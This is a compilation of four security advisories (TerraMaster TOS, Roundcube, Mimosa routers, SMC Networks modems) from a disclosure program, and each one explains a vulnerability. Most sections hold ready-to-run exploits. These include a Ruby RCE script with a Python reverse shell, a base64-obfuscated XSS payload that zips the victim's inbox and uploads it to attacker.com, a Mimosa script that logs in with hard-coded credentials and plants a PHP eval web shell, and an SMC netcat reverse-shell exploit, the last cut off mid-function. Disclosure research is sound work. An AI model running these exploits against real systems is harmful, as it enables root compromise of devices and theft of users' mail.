SSD Advisory – TerraMaster OS exportUser.php Remote Code Execution

TL;DR

Find out how we exploited an unauthenticated TerraMaster OS vulnerability and gained root access to the device.

Vulnerability Summary

TerraMaster Operating System (TOS) is an operating system designed for TNAS devices. Invalid parameter checking in TOS leads to an unauthenticated Remote Code Execution vulnerability in the product, further to that the executed code runs with root privileges.

CVE

CVE-2020-15568

Credit

An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems

TOS version 4.1.24 and below

Vendor Response

The vendor has released a patch for this vulnerability, all versions from version 4.1.29, and above are no longer vulnerable to this issue.

Vulnerability Details

A dynamic class method invocation vulnerability exists in file include/exportUser.php which leads to executing remote commands on TerraMaster devices with root privileges.

The vulnerable file requires several HTTP GET parameters to be provided in order to reach method call and exploit this vulnerability. On first line application includes app.php (see in below code snippet) which autoloads relevant core classes of TOS software.

The application decides operation based on value of GET parameter type. If value of type variable is something different than 1 or 2, then it’s possible to reach vulnerable code.

As seen in below source code of exportUser.php, application requires HTTP GET parameters cla (shorthand for class), func and opt.

<?php
	include_once "./app.php"; // [1] autoload classes
	class CSV_Writer{
		...
	}
	$type = $_GET['type'];
	$csv = new CSV_Writer();
	if($type == 1){
		$P = new person();
		$data = $P->export_user($_GET['data']);
		$csv->exportUser($data);
	} else if($type == 2) {
		$P = new person();
		$data = $P->export_userGroup($_GET['data']);
		$csv->exportUsergroup($data);
	} else { // [2] type value is bigger than 2
		//xlsx通用下载
		$type = 0;
		$class = $_GET['cla'];
		$fun = $_GET['func'];
		$opt = $_GET['opt'];
		$E = new $class();
		$data = $E->$fun($opt); // [3] vulnerable code call
		$csv->exportExcel( $data['title'], $data['data'], $data['name'], $data['save'], $data['down']);
	}
?>

During code review of other files as well, it has been found that there is a way to exploit this issue with pre-existing classes in TOS software.
PHP Class located in include/class/application.class.php is best candidate to execute commands on devices that runs TOS software.

Since exportUser.php has no authentication controls, it’s possible for unauthenticated attacker to reach code execution by providing following values as HTTP GET parameters.

include/exportUser.php?type=3&cla=application&fun=exec&opt=id&uname -a < output.txt

This request forces exportUser.php to create a new instance of “application” class and call it’s public method “exec” to execute code as root. As a result, application should write output of commands to output.txt in web server.

Demo

Exploit

Following GET request show demonstration of code execution on device that runs TOS software.

GET /include/exportUser.php?type=3&cla=application&func=_exec&opt=(id;whoami)%3Eoutput.txt
HTTP/1.1
Host: terramaster.nas:8181
Connection: keep-alive
User-Agent: the UA

Result of the executed command will be written to output.txt in the web server directory under /include/output.txt.

HTTP/1.1 200 OK
Date: Thu, 02 Jul 2020 11:49:11 GMT
Content-Type: text/plain
Last-Modified: Thu, 02 Jul 2020 11:46:10 GMT
Transfer-Encoding: chunked
Connection: close
ETag: W/"5efdc902-4e6"
X-Powered-By: TerraMaster
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cross-Origin-Resource-Policy: same-origin
Content-Encoding: gzip
uid=0(root) gid=0(root)
root

An attacker can upload a web shell or trigger python/php interpreter on the system to get a reverse shell.
Below is the exploit that demonstrate it.

require 'net/http'
require 'uri'
require 'optparse'

def make_request(uri, debug)
	Net::HTTP.start(uri.host, uri.port, :use_ssl => uri.scheme == 'https') do |http|
		request = Net::HTTP::Get.new uri
		response = http.request(request)

		if debug
			puts "[LOG] [%d] response: %s" % [response.code, response.body] 
			puts
		end
	end
end

def header()
	puts "*" * 60
	puts 
	puts "TOS V4.1.24 Unauthenticated Remote Root Shell Exploit"
	puts
	puts "*" * 60
	puts 
end


options = {}

header()

OptionParser.new do |opts|
	opts.banner = "Usage: tos_rce_exploit.rb [options]"
	opts.on("-t target_uri", "URI of target TOS application (e.g: http://terramaster.host:8181)") do |val|
		options[:target_uri] = val
	end

	opts.on("-l local_ip", "Local IP for reverse shell/netcat listener") do |val|
		options[:local_ip] = val
	end

	opts.on("-p local_port", "Local Port for reverse shell/netcat listener") do |val|
		options[:local_port] = val
	end

	opts.on("-c linux_cmd", "Any bash command to be run on target TerraMaster") do |val|
		options[:cmd] = val
	end

	opts.on("-v", "Verbose messages") do |val|
		options[:debug] = true
	end
end.parse!

target = options[:target_uri]
local_ip = options[:local_ip]
local_port = options[:local_port]
debug = options[:debug] || false
payload = options[:cmd] || "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{local_ip}\",#{local_port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
vulnerable_uri = "#{target}/include/exportUser.php?type=3&cla=application&func=_exec&opt=#{URI.escape(payload)}+%26"


puts "[INFO] Make sure that your listener started on #{local_ip}:#{local_port}"
puts "[INFO] Sending exploit request to #{target}"
puts "[INFO] Vulnerable function don't return command output so forward it to file" if options[:cmd]
puts "[DEBUG] #{vulnerable_uri}" if debug
make_request URI(vulnerable_uri), debug

SSD Advisory – Roundcube Incoming Emails Stored XSS

TL;DR

Find out how we exploited Roundcube webmail application and crafted an email containing malicious HTML that execute arbitrary JavaScript code in the context of the vulnerable user’s inbox.

Vulnerability Summary

Roundcube webmail is a browser-based multilingual IMAP client with an application-like user interface.
An input sanitization vulnerability in Roundcube can be exploited to perform a stored cross-site scripting (XSS) attacks.

CVE

CVE-2020-15562

Credit

An independent Security Researcher, Andrea Cardaci, has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems

Roundcube versions:
– 1.3.8
– 1.3.9
– 1.4 (current main branch)

Vendor Response

The vendor acknowledges the vulnerability and fixed it, see vendor advisory for more details: https://roundcube.net/news/2020/07/05/security-updates-1.4.7-1.3.14-and-1.2.11

Vulnerability Details

Roundcube uses a custom version of Washtml (a HTML sanitizer) to display untrusted HTML in email messages. One of the modifications adds the SVG supportsvg-support, in particular, an exception has been added in rcube_washtml.php for the svg tag to properly handle XML namespaces (dumpHtml function):

if ($tagName == 'svg') {
    $xpath = new DOMXPath($node->ownerDocument);
    foreach ($xpath->query('namespace::*') as $ns) {
        if ($ns->nodeName != 'xmlns:xml') {
            $dump .= ' ' . $ns->nodeName . '="' . $ns->nodeValue . '"';
        }
    }
}

This snippet uses an XPath query to list and add all the non-default XML namespaces of the root element of the HTML message to the svg tag as attributes. The vulnerable part here is that $ns->nodeName and $ns->nodeValue values are added to $dump without proper sanitization (e.g., htmlspecialchars).[svg-support]  Introduced in commit a1fdb205f824dee7fd42dda739f207abc85ce158.

There are a number of things to consider in order to manage to successfully inject arbitrary HTML code.

First, if the HTML message lacks the head tag (or alternatively a meta specifying the charset, in newer releases) then Roundcube appends a default preamble to the message; this is undesirable as the goal is to control the root element. (Also note that the svg tag itself cannot be the root element.)

Second, when at least one svg tag is present (and the <html string is not) the message is parsed using DOMDocument::loadXMLdom-node and that requires a valid XML document.

Finally, by taking into account that DOMDocument::loadXML decodes any HTML entity during the parsing, it is possible to use &quot; to escape the hard coded double quotes in the above snippet and &lt;/&gt; to escape the svg element altogether.

Since the namespaces are added to the svg tag, a simple way to exploit this vulnerability is to use the onload event:

<head xmlns="" onload="alert(document.domain)"><svg></svg></head>

The resulting HTML is:

<svg xmlns="" onload="alert(document.domain)" />

It is likewise possible to escape the svg tag entirely and inject a script tag:

<head xmlns=""><script>alert(document.domain)</script>"><svg></svg></head>

The resulting HTML is:

<svg xmlns=""><script>alert(document.domain)</script>" />

[dom-node]  In the above snippet $node is an instance of DOMNode.

Exploit

Possibly one of the most effective ways to demonstrate the impact of this vulnerability is to exploit the zipdownload plugin (enabled by default) to fetch the whole inboxuid as a zipped MBOX file then upload it to a web server controlled by the attacker via a POST request:

(async () => {
    const uploadEndpoint = 'http://attacker.com:8080/upload.php';

    // download the whole inbox as a zip file
    const response = await fetch('?_task=mail&_action=plugin.zipdownload.messages', {
        method: 'POST',
        credentials: 'include',
        headers: {
            'content-type': 'application/x-www-form-urlencoded'
        },
        body: `_mbox=INBOX&_uid=*&_mode=mbox&_token=${rcmail.env.request_token}`
    });

    // prepare the upload form
    const formData = new FormData();
    const inboxZip = await response.blob();
    formData.append('inbox', inboxZip, 'INBOX.mbox.zip');

    // send the zip file to the attacker
    return fetch(uploadEndpoint, {
        method: 'POST',
        mode: 'no-cors',
        body: formData
    });
})();

To avoid using HTML entities for & it is possible to encode everything with Base64. The final payload becomes:

<head xmlns="" onload="eval(atob('KGFzeW5jKCk9Pntjb25zdCB1cGxvYWRFbmRwb2ludD0iaHR0cDovL2F0dGFja2VyLmNvbTo4MDgwL3VwbG9hZC5waHAiO2NvbnN0IHJlc3BvbnNlPWF3YWl0IGZldGNoKCI/X3Rhc2s9bWFpbCZfYWN0aW9uPXBsdWdpbi56aXBkb3dubG9hZC5tZXNzYWdlcyIse21ldGhvZDoiUE9TVCIsY3JlZGVudGlhbHM6ImluY2x1ZGUiLGhlYWRlcnM6eyJjb250ZW50LXR5cGUiOiJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQifSxib2R5OmBfbWJveD1JTkJPWCZfdWlkPSomX21vZGU9bWJveCZfdG9rZW49JHtyY21haWwuZW52LnJlcXVlc3RfdG9rZW59YH0pO2NvbnN0IGZvcm1EYXRhPW5ldyBGb3JtRGF0YTtjb25zdCBpbmJveFppcD1hd2FpdCByZXNwb25zZS5ibG9iKCk7Zm9ybURhdGEuYXBwZW5kKCJpbmJveCIsaW5ib3haaXAsIklOQk9YLm1ib3guemlwIik7cmV0dXJuIGZldGNoKHVwbG9hZEVuZHBvaW50LHttZXRob2Q6IlBPU1QiLG1vZGU6Im5vLWNvcnMiLGJvZHk6Zm9ybURhdGF9KX0pKCk7Cg=='))"><svg></svg></head>

The POST request can be easily received by the built-in PHP web server, for example create an upload.php file with:

<?php<br>$file = $_FILES['inbox'];<br>move_uploaded_file($file['tmp_name'], $file['name']);

Then start the server with:

$ php -S 0.0.0.0:8080

If the XSS is successfully triggered then a INBOX.mbox.zip file is created in the current directory.[uid]  The _uid POST field can also be an array thus allowing to exfiltrate the inbox in chunks.

Demo

SSD Advisory – Mimosa Routers Privilege Escalation and Authentication bypass

TL;DR

Find out how we exploited Mimosa Router’s web interface vulnerability and gained root access.

Vulnerability Summary

Mimosa Networks is the global technology leader in wireless broadband solutions, delivering fiber-fast connectivity to service providers and enterprise, industrial and government operators worldwide. A vulnerability in Mimosa devices/routers leads to an authentication bypass/ privilege escalation by executing malicious code in the Routers Web interface.

CVE

CVE-2020-14003

Credit

An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems

Should work on any mimosa device with versions of the firmware <= 1.5.1 (the latest version)

C5c ca8c8e1

C5 cc51495

B5 b84c680

B5-Lite b84c680

B5c b84c680

B11 b84c680

B24 1070089

Vendor Response

The vendor acknowledges the vulnerability and fixed it.

Vulnerability Details

The Mimosa routers all use a custom web interface that’s written using php. The Mimosa developers also have their own mini php framework.

The root of the web interface is located at /var/www/. There are a lot of php scripts there, some which handle API requests and others for the web interface. Let’s begin by looking at the framework and how authentication is done (the initial bug).

Authentication Bypass/ Privilege Escalation

File /var/www/core/tinyframe/mimosa.php

class Dispatcher { //Dispatcher class (Handles routing) included for reference
   private $output;

   public function __construct() {
       if (isset($_GET['q'])) { //parse action from url querystring
           $array = explode('.', $_GET['q']);
           if (count($array)) {
               Application::$controller['name'] = strtolower(array_shift($array));
               if (count($array)) {
                   Application::$controller['action'] = strtolower(array_shift($array));
              }
          }
           unset($_GET['q']);
      }
  }
...
//line 277
class Controller extends Application { // The controller class handles authentication
...
//line 308
$noCheckController = array( // This are the controllers and functions that won't require authentication
           'index' => array('login', 'logout', 'activation', 'recovery', 'keeprecovery'),
           'info' => array('device'),
           'preferences' => array('changepass'), //<-- The bug is here
           'tools' => array('antenna_data')
      );

As can be seen above, the authentication exemptions contain the preferences endpoint (reachable at <router_ip>/index.php?q=preferences.preferences). This is where the Privilege Escalation and Authentication bypass bugs occur, lets take a look at the controller code and see what we can do.

File: /var/www/core/controller/preferences.php

//line 111 
  public function changepass() {
       if(self::$isPost) { // Checks if the request sent is POST
           $saveArray = $this->saveArray('SuperPassword'); //Gets SuperPassword (admin password) from or request
           foreach($saveArray as &$value) {
               $value = md5($value); // md5 hashing the password value
          }
           $_SESSION['MIM_STATE']['IsSuper'] = true; //<-- BUG1 Escalates our privileges to SuperUser (web ui)
           $this->ajaxSave('Passwords', $saveArray); //<-- BUG2 Changes the admin password with our supplied value.
           Flags::create('password_modified');
      }
  }

As can be seen above the bugs are pretty straight forward. And very easy to exploit.

The first bug lets us escalate our session to super user, this was not trivial to exploit since we need to login for the session to work. There is a code block that checks session timeout using variables from the $_SESSION super global. But this value will not be set unless we are logged in, and if it’s not set authentication fails. But luckily mimosa has a hard coded web user (monitor:mimosa) that can login with minimal privileges and whats even better there is no option to change the password for this user or disable it. Using the hard coded credentials and the privilege escalation we can get full admin access to the web UI.

The second bug is pretty trivial. We can change the password of the super user without the need to authenticate. This lets us log in with our new password and take full control. The PoC exploit below exploits both these bugs for RCE.

Remote Command Execution

The RCE requires an authenticated admin session to exploit, By using one of the two bugs described above, we can get a valid session and exploit the bug. The RCE is pretty simple so lets take a look at the code. File /var/www/core/controller/wireless.php

public function powerRange() {
$isR5 = $this->product == 'B02';
$bw = $_GET['bw'];
$freq1= $_GET['freq'];
$freq2 = $_GET['freq2'];
       $country = country();

if ((strlen(substr($bw, 2)) > 2))
$bw = '3' . str_replace(' FD','',substr($bw, 2));
else
$bw = substr($bw, 2);

       $cmd = "reg_query power_range $country ". $bw ." $freq1 $freq2";
       if ( MIMOSA_PRODUCT == 'B11') {
           $cmdRemote = $cmdLocal  = $cmd;

           $cmdLocal .= " gain ". $_GET['gain'];
           $cmdRemote.= " gain ". $_GET['gainRemote'];

           $minMaxLocal = array();
           $minMaxRemote = array();

           $lines = doCmd($cmdLocal, false, true, "power_range_".$country."_".$bw."_".$freq1."_".$freq2);
           foreach ($lines as $key => $line) {
               $x = explode(':', $line);
               $minMaxLocal[] = array((int) trim($x[2]), (int) trim($x[1]));
          }

           $lines = doCmd($cmdRemote, false, true, "power_range_".$country."_".$bw."_".$freq1."_".$freq2);
           foreach ($lines as $key => $line) {
               $x = explode(':', $line);
               $minMaxRemote[] = array((int) trim($x[2]), (int) trim($x[1]));
          }
           $this->options = array('Power' => range($minMaxLocal[0][0], $minMaxLocal[0][1]),
               'Power2' => range($minMaxRemote[0][0], $minMaxRemote[0][1]));
      }
       else {
if ($isR5) {
if (intval($_GET['gain']) > intval($_GET['gainRemote']))
$cmd .= " gain ". $_GET['gain'];
else
$cmd .= " gain ". $_GET['gainRemote'];
}
$lines = doCmd($cmd, false, true, "power_range_".$country."_".$bw."_".$freq1."_".$freq2);
$minMax = array();

foreach ($lines as $key => $line) {
$x = explode(':', $line);
$minMax[] = array((int) trim($x[2]), (int) trim($x[1]));
}
if(count($minMax) > 1) {
$this->options = array('Power' => range($minMax[0][0], $minMax[0][1]),
'Power2' => range($minMax[1][0], $minMax[1][1]));
} else {
$this->options = array('Power' => range($minMax[0][0], $minMax[0][1]));
}
}

As you can see from the above code, the function powerRange (reachable at <router_ip>/index.php?q=wireless.powerRange) executes a command using doCmd (a wrapper) without any type of filtering. The code has 2 paths if the product is B11 and if it is not (Other models) but the RCE will happen in both cases.

As a side note the /var/www/ directory is not writable by default (squashfs filesystem) and you have to get around that by using a bind mount /var/www/help/ to /tmp/<some_dir> to upload a shell.

Demo

Exploit

#!/usr/bin/python2
import sys
import json
import requests
import urllib3
from base64 import b64encode as encode 

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class MimosaExploit():
	def __init__(self,url):
		self.url = url
		self.cookie = None

	def get_version(self):
		print '[+] Fingerprinting device.'
		r = requests.post(self.url+'/index.php?q=index.login&mimosa_ajax=1',verify=False,data={'username':'a','password':'b'})
		if r.status_code != 200:
			print "[-] Failed to fetch device info, Are you sure this is mimosa device?"
			return False
		else:
			try:
				data = json.loads(r.text)
				print '[+] Device Model: {}\n[+] Version: {}'.format(data['productName'],data['version'])
				return True
			except Exception:
				print '[-] Failed to parse device info.'
				return False

	def LoginMonitor(self):
		print '[+] Attempting to login as the monitor user (lowest privilege)'
		r = requests.post(self.url+'/index.php?q=index.login&mimosa_ajax=1',verify=False,data={'username':'monitor','password':'mimosa'})
		if r.status_code != 200 and r.text.find('error') != -1 and r.text.find('Login failed') != -1:
			print '[+] Login seems to have failed :('
			print '[+] Try using the password change exploit?'
			return False
		if 'Set-Cookie' not in r.headers.keys():
			print '[+] No session recieved, maybe retry?'
			return False
		self.cookie = r.headers['Set-Cookie'].split(';')[0].split('=')[1]
		print '[+] Got cookie: {}'.format(self.cookie)
	
	def LoginAdmin(self):
		print '[+] Attempting to login as the admin user'
		r = requests.post(self.url+'/index.php?q=index.login&mimosa_ajax=1',verify=False,data={'username':'admin','password':'admin'})
		if r.status_code != 200 and r.text.find('error') != -1 and r.text.find('Login failed') != -1:
			print '[+] Login seems to have failed :(, maybe retry?'
			return False
		if 'Set-Cookie' not in r.headers.keys():
			print '[+] No session recieved, maybe retry?'
			return False
		self.cookie = r.headers['Set-Cookie'].split(';')[0].split('=')[1]
		print '[+] Got cookie: {}'.format(self.cookie)
	
	def EscalatePrivilege(self):
		print '[+] Escalating privilege to Super User'
		r = requests.post(self.url+'/index.php?q=preferences.changepass&mimosa_ajax=1',verify=False,data={'super':'GotJuice?'},cookies={'PHPSESSID':self.cookie})
		if r.status_code != 200:
			print '[+] Failed to escalate privileges'
			return False
		try:
			json.loads(r.text)
		except:
			print '[-] Failed to escalate privileges, Invalid response'
			return False
		print '[+] Successfully got Super User privileges'
	
	def ChangeAdminPassword(self):
		print '[+] Changing the admin password to admin'
		r = requests.post(self.url+'/index.php?q=preferences.changepass&mimosa_ajax=1',verify=False,data={'super':'GotJuice?'},cookies={'PHPSESSID':self.cookie})
		if r.status_code != 200:
			print '[+] Failed to change the password'
			return False
		try:
			json.loads(r.text)
		except:
			print '[-] Failed to change the password, Invalid response'
			return False
		print '[+] Successfully changed the admin password'
	
	def ExploitRCE(self,Shell=True):
		print '[+] Beginning RCE exploit'
		if Shell == False:
			cmd = raw_input("Input command you want to execute> ")
		else:
			# Shell base64 decoded
			#<?php
			#eval(base64_decode($_REQUEST['p']));
			#?>
			cmd = "mkdir /tmp/.help;cp -r /var/www/help/* /tmp/.help;mount | grep /var/www/help || mount -o bind /tmp/.help /var/www/help;echo PD9waHAKZXZhbChiYXNlNjRfZGVjb2RlKCRfUkVRVUVTVFsncCddKSk7Cj8+ | base64 -d > /tmp/.help/load_help.php"
		
		r = requests.get(self.url+'/index.php?q=wireless.powerRange&mimosa_ajax=1&bw=ASS;'+cmd+';#&gain=BB&gainRemote=AA',verify=False,cookies={'PHPSESSID':self.cookie})
		if r.status_code != 200 and r.text.lower().find('power') == -1:
			print '[+] Executing the command might have failed'
			return False
		else:
			print '[+] Successfully executed the command'
		if Shell == True:
			print '[+] Checking if shell is uploaded'
			r = requests.post(self.url+'/help/load_help.php',verify=False,data={'p':encode("echo \"_UPLOADED_\";")})
			if r.status_code == 200 and r.text.strip() == '_UPLOADED_':
				print '[+] Shell is uploaded'
			else:
				print '[-] Uploading the shell might have failed, retry?'
				return False
			ch = raw_input("Would you like to execute a semi interactive shell?(Y/N): ")
			if ch.lower() == 'y':
				print '[+] Running an interactive command shell'
				print '\n\n[*] Use quit to exit\n[*] clean_up to remove the webshell\n[*] prefix commands with php to run php code'
				while True:
					cmd = raw_input("root@{}> ".format(self.url.split('/')[2])).strip()
					if cmd == "quit":
						print '[+] Exiting command shell.'
						return True
					elif cmd == 'clean_up':
						cmd = encode('system("rm -rf load_help.php && echo __DONE__");')
						r = requests.post(self.url+'/help/load_help.php',verify=False,data={'p':cmd})
						if r.status_code != 200:
							print '[+] Something went wrong while executing the command'
						elif r.text.strip() == '__DONE__':
							print '[+] Exploit cleaned up, exit now please'
					elif cmd.startswith("php "):
						r = requests.post(self.url+'/help/load_help.php',verify=False,data={'p':encode(cmd[4:])})
						if r.status_code != 200:
							print '[+] Execution Failed.'
						else:
							print r.text
					r = requests.post(self.url+'/help/load_help.php',verify=False,data={'p':encode('system("'+cmd.replace('"','\\"')+' 2>&1");')})
					if r.status_code != 200:
						print '[+] Something went wrong while executing the command'
						print r.status_code
						print r.text
					else:
						print r.text
			else:
				print '[+] Your shell should be at {}/help/load_help.php'
				print '[+] use GET/POST parameter p to execute php code'
				print '[+] Note the php code sent through p has to be base64 encoded'
				return True
		else:
			print '[+] Command should be executed'
			return True
	
	def run(self):
		print '[+] Mimosa routers Authentication Bypass/Privilege Escalation/RCE exploit'
		print '[*] Please choose operation:\n\t 1) Exploit RCE using hard coded credentials (best choice)\n\t 2) Exploit RCE by changing the admin password (Intrusive) '
		ch = raw_input('Choice> ')
		if ch == "1":
			if(self.get_version() == False):
				print '[-] Fingerprinting Failed, bailing'
				exit(0);
			if(self.LoginMonitor() == False):
				print '[-] Failed to Login using hardcoded creds, Bailing'
				exit(0);
			shell = raw_input('[+] Would you Like to upload a shell? (If Not you\'ll be asked for a custom command)(Y\N): ')
			if shell.strip().lower() == 'y':
				self.ExploitRCE()
			else:
				self.ExploitRCE(Shell=False)
		if ch == "2":
			if(self.get_version() == False):
				print '[-] Fingerprinting Failed, bailing'
				exit(0);
			if(self.ChangeAdminPassword() == False):
				print '[-] Failed to change creds, Bailing'
				exit(0);
			if(self.LoginAdmin() == False):
				print '[-] Failed to Login as admin, Bailing'
				exit(0);
			shell = raw_input('[+] Would you Like to upload a shell? (If Not you\'ll be asked for a custom command)(Y\N): ')
			if shell.strip().lower() == 'y':
				self.ExploitRCE()
			else:
				self.ExploitRCE(Shell=False)	


if __name__ == "__main__":
	if len(sys.argv) < 2:
		print 'Usage: {} <url>'.format(sys.argv[0])
		exit(0)
	ex = MimosaExploit(sys.argv[1])
	ex.run()

SSD Advisory – SMC Networks Session and Command Injection

TL;DR

Find out how we managed to inject an auth session into the device and through it gain a reverse root tcp shell in SMC Networks devices.

Vulnerability Summary

SMC Networks provides many Network products, one of them is Modems.
SMC’s Modems are used to transmit data over between your connected devices in your Network.
A vulnerability in SMC Networks Modems route callback allows attacker to inject code/sessions and gain reverse root shell.

CVE

CVE-2020-13766

Credit

An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems

D3G1604W-4.2.3.8.1-GW_GA,

D3G0804W-3.5.2.7-LAT_GA,

SMCD3GNV5M-3.5.2.5-LAT_GA,

D3G0804W-3.5.2.5-LAT_GA,

SMCD3GNV5M-3.5.1.6.10_GA,

SMCD3GNV5M-3.5.1.6.5-GA,

D3G0804W-3.5.1.7_GA,

SMCD3GNV5M-3.5.1.7_GA,

SMCD3GNV5M-3.5.2.7-LAT_GA,

D3G0804W-3.5.1.6.10_GA,

D3G1604W-4.2.3.6.3-GW_GA,

SMCD3GNV5M-3.5.1.6.3_GA,

D3G0804W-3.5.1.6.3_GA

Vendor Response

We tried to contact the vendor several times via email and twitter, and we were unable to receive any response or acknowledgement to our attempts.

Vulnerability Details

In SMC Networks products the function that handles the “/goform/formParamRedirectUrl” route callback has a parameter “param_str” that is copied on a global object “pCgrGuiObject” at an offset of 0x1c.

This shared object is found in the “/usr/cgr/lib/libgui.so” code. This global object provides many different types of functions including managing and validation of sessions.

Using an unbounded strcpy in the callback mentioned above we are able write a crafted message and overwrite the session data and add our own session to the global object. Subsequent requests sent after this session injection has occurred will show up as authenticated.

Once we are authenticated we can the endpoint “/goform/formSetDiagnosticToolsFmPing”’s “vlu_diagnostic_tools__ping_address” parameter which is not filtered and can be used to inject command into the OS.

The vulnerable code is found inside the “/usr/cgr/bin/modules/diagnostic_tools/diagnostic_tools.so” file.

The parameter we can use to inject data and run it as root, is limited to 32 characters, we therefore need to break any longer commands we want to run to several smaller commands and then chain them together.

Demo

Exploit

In the demo below we are getting simple reverse tcp shell, with the use of ngrok and not using public ip. You can change in the code the ngrok to public ip.

Also ngrok’s ips are riddled with random traffic of the previous user tied to that port. If any such traffic occurred it will throw off the revere shell listener ncat which is why the shell won’t drop. in such case close and restart the script. The endpoint won’t crash if the process is interrupted. Or switch to a public ip:port option.

sbin/env -S -- /usr/bin/python3

import threading
import requests
import os
import time
import re
import subprocess
import sys
import json
import argparse
import gzip
import random
import logging
import urllib3
import urllib.parse
import string 
from base64 import b64encode

class SMC:
	def __init__(self, url, pseudonym, ngrok_auth_token = '', shell_listen_ip = '', shell_listen_port = 8888):
		self.make_model = "SMC"
		self.vuln_type = "Root RCE"
		self.pseudonym = pseudonym
		
		#array of callbacks with functionality with a minumum of [shell, device_check, ...]
		self.functionalities = {
			"DEVICE_CHECK" : [self.device_check,"Checks if device is the target model and version range"],
			"VULNERABLE_CHECK" : [self.vulnerable_check,"Checks if device is vulnerable."],
			"DROP_SHELL" : [self.shell_drop,"Drops an interactive shell using the vulnerability."],
			"EXECUTE_COMMAND" : [self.execute_command,"Executes a single command."],
		}
		url_regex = re.compile(r"http[s]?://((?:[a-zA-Z\.\-]|[0-9]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+)(?:[:]([0-9]{1,5}))?", re.IGNORECASE)
		url_match = re.match(url_regex, url)
		if url_match:
			self.url = url.strip("/")
			self.ip = url_match.group(1)
		else:
			logging.critical("Invallid url provided. Exiting...")
			exit(1)
		
		self.ngrok_auth_token = ngrok_auth_token
		self.shell_listen_ip = shell_listen_ip
		self.shell_listen_port = shell_listen_port
		self.cookies = {"session": "19e73828937f05e6f709e29efdb0a82b394141666",}
		self.dir_path = os.path.dirname(os.path.realpath(__file__))
		self.session_injected = False
		self.feedback_already_set_up = False
		self.rtcp_command_sent = False
		# self.rando = "".join(random.choices(string.ascii_uppercase + string.digits, k = 3)) # "SMC" #
		self.cmd_loc = '/tmp/t'
		self.persistent_cmd_loc = '/nvram/0/sys_setup.sh'
		self.shell_prompt = f"{self.make_model}@{self.ip}>|"

		self.configs = []
		self.logs = []

	def present_functionalities(self):
		print("---------------------------------------------------------------------------------------------")
		print("Exp 0.1.3 - {} - {} - by {}".format(self.make_model, self.vuln_type, self.pseudonym))
		for number,(key, functionality) in zip(range(1,len(self.functionalities)+1), self.functionalities.items()) :
			print("\t[{}]-{} => {}".format(number, key, functionality[1]))
		print("\t[{}]-{} => {}".format(0, "EXIT", "Gracefully exit wiping traces of presence."))

	def run(self):
		logging.info("Operating on {} - . - by {}".format(self.url,  self.pseudonym))
		if (self.device_check()):# and self.vulnerable_check()):
			self.present_functionalities()
			choice = float('inf')
			while choice != 0:
				try:
					choice = int(input("----------Choice-> "))
					while (type(choice) == int and 0 < choice <= len(self.functionalities)):
						self.functionalities[list(self.functionalities.keys())[choice - 1]][0]()
						self.present_functionalities()
						choice = int(input("----------Choice-> "))
				except ValueError as e :
					logging.debug(e)
					print("Numbers only!!", end="")
					pass
		else:
			logging.critical(f"Target {self.url} is not available or of the right device type.")
			self.quit()
			exit(1)
		self.quit()

	#FUNCTIONILITY["DEVICE_CHECK"]
	#checks if device is the target model and version
	def device_check(self):
		try:
			logging.info("Checking if the given address is a SMC Device")
			req = requests.get(self.url+"/home.asp", verify=False)
			if req.status_code != 200:
				logging.critical("Invalid response to probe request for device checking, Exiting..")
				return False
			response_html = req.text
			title_regex = re.compile(r".*<title>.*SMC.*</title>.*", re.IGNORECASE)
			if not title_regex.search(response_html):
				logging.critical("The URL does not appear to be a SMC Device, Exiting")
				return False
			# TODO: add more fingerprinting functionality
			logging.info("Device is a SMC Device :!)")
		except Exception as ex:
			logging.critical(f"Error {ex} occured while checking the device")
			return False
		return True
		
    #FUNCTIONILITY["VULNERABLE_CHECK"]
	#check if device is vulnerable
	def vulnerable_check(self):
		logging.info("Checking if the SMC Device is vulnerable.")
		test_code = "".join(random.choices(string.ascii_uppercase + string.digits, k = 10))
		output = self.execute_command(f"echo -n {test_code}", feedback=True)
		self.rtcp_command_sent = False
		if test_code in output:
			logging.info("SMC Device is vulnerable.")
			return True	
		logging.info("SMC Device not is vulnerable. Terminating!!!!!")
		return False

	#FUNCTIONILITY[DROP_SHELL]
	#drop to an interactive shell
	def shell_drop(self):
		listen_port = self.shell_listen_port
		if self.ngrok_auth_token != '':
			listen_port, ngrok_process_handle = self.listen_on_ngrok()
		
		if listen_port is not None :
			t1 = threading.Thread(target=self.listen_for_incoming_shell)
			t1.start()
			try:
				if t1.is_alive():
					command = f"rm /tmp/SMC;mkfifo /tmp/SMC;cat /tmp/SMC|/bin/sh -i 2>&1|nc {self.shell_listen_ip} {listen_port} >/tmp/SMC"
					self.execute_command(command, already_injected=self.rtcp_command_sent)
					self.rtcp_command_sent = True
					logging.info("You should have a shell by now %)")
					logging.info("Run 'kill `ps | grep [c]gr_httpd|awk '{$1=$1};1'|cut -d' ' -f1`;/usr/cgr/bin/cgr_httpd &' to make webportal function normally [RECOMMENDED].")
					t1.join()
			except Exception as e:
				print(e)
				pass
		else:
			logging.debug("Problem setting up a ngrok tunnel to the provided listening port.")
			logging.info("Error.")
		# ngrok_process_handle.terminate()

	#FUNCTIONILITY[EXECUTE_COMMAND]
	def execute_command(self, cmd="", feedback=False, already_injected=False, persistent=False):
		if cmd == "":
			self.rtcp_command_sent = False
			cmd = input("Command : ")
			feedback = False if (str.upper(input("Do you need to see the output of the commad? [Y]/N: ")) == "N") else True
			persistent = True if (str.upper(input("Store the command persistently? Y/[N]: ")) == "Y") else False

		self.inject_session()

		if feedback:
			cmd += " 2>&1 >/usr/cgr/www/vpn/output;"
			if not self.feedback_already_set_up:
				# set up tmp area in www
				feedback_setup_command = "mount -t tmpfs tmpfs /usr/cgr/www/vpn;"
				self.execute_command(feedback_setup_command)
				self.feedback_already_set_up = True

		if persistent:
			cmd = cmd.strip().strip(';')
